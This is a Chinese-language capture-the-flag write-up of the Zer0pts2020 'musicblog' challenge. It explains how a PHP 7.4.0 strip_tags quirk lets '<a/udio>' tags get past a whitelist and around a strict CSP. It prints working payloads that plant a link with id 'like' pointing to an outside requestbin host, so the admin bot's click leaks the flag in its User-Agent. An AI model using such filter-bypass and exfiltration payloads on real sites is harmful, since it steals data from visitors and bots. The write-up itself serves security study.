[Zer0pts2020]musicblog
有admin账户
有下载
有注册登录
当然,最后点子在post音频里
去想任意下载,不行。最后看wp,原来给源码,再做一遍。
内容安全策略( CSP )
http://foreversong.cn/archives/760
CSP通过指定有效域——即浏览器认可的可执行脚本的有效来源——使服务器管理者有能力减少或消除XSS攻击所依赖的载体。一个CSP兼容的浏览器将会仅执行从白名单域获取到的脚本文件,忽略所有的其他脚本 (包括内联脚本和HTML的事件处理属性)。
CSP的实质就是白名单策略,预先设定好哪些资源能被加载执行而哪些不能。
flag在worker/worker.js
// (snipped)
const flag = 'zer0pts{<censored>}';
// (snipped)
const crawl = async (url) => {
console.log(`[+] Query! (${url})`);
const page = await browser.newPage();
try {
await page.setUserAgent(flag);
await page.goto(url, {
waitUntil: 'networkidle0',
timeout: 10 * 1000,
});
await page.click('#like');
} catch (err){
console.log(err);
}
await page.close();
console.log(`[+] Done! (${url})`)
};
// (snipped)
“如果爬虫访问您拥有的网站,就可以从UA头里获得flag”
这里的意思是会自动点击like,埋下伏笔
util.php 中
// [[URL]] → <audio src="URL"></audio>
function render_tags($str) {
$str = preg_replace('/[[(.+?)]]/', '<audio controls src="\1"></audio>', $str);
$str = strip_tags($str, '<audio>'); // only allows `<audio>`
return $str;
}
audio为白标签
而audio受以下CSP的限制,无法跨域请求:
<?php
error_reporting(0);
require_once 'config.php';
require_once 'util.php';
$nonce = get_nonce();
header("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic'; base-uri 'none'; trusted-types");
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block');
session_start();
继续深入,strip_tags函数
从Dockerfile
中可以看出Web 服务器使用 PHP 7.4.0
strip_tags函数在7.4.0之前允许标签里出现斜线
(应该是为了让</audio>
可以通过)
但是<a/udio>
在浏览器里会解析成<a>
标签,而超链接的跳转不受CSP的限制。
浏览器解析后就成了
<a udio id=like href=http://http.requestbin.buuoj.cn/1illhcn1>aa
需要开个内网
http://http.requestbin.buuoj.cn/1illhcn1
我们输入的内容是在第一个点赞按钮的上面,id为like,照应点击伏笔。
payload
<a/udio id=like href=http://http.requestbin.buuoj.cn/1illhcn1>aa
或
[["></audio><a/udio href="http://http.requestbin.buuoj.cn/1illhcn1" id="like">test</a/udio><audio a="]]
总结:
刚做的时候四处找点,但是由于不知道这题有源码而gg 有源码之后开始暴躁审计,此时还没有体会到这题的巧妙之处。 最后写完wp的一瞬间,理清了全部思路,只能说,妙蛙!!!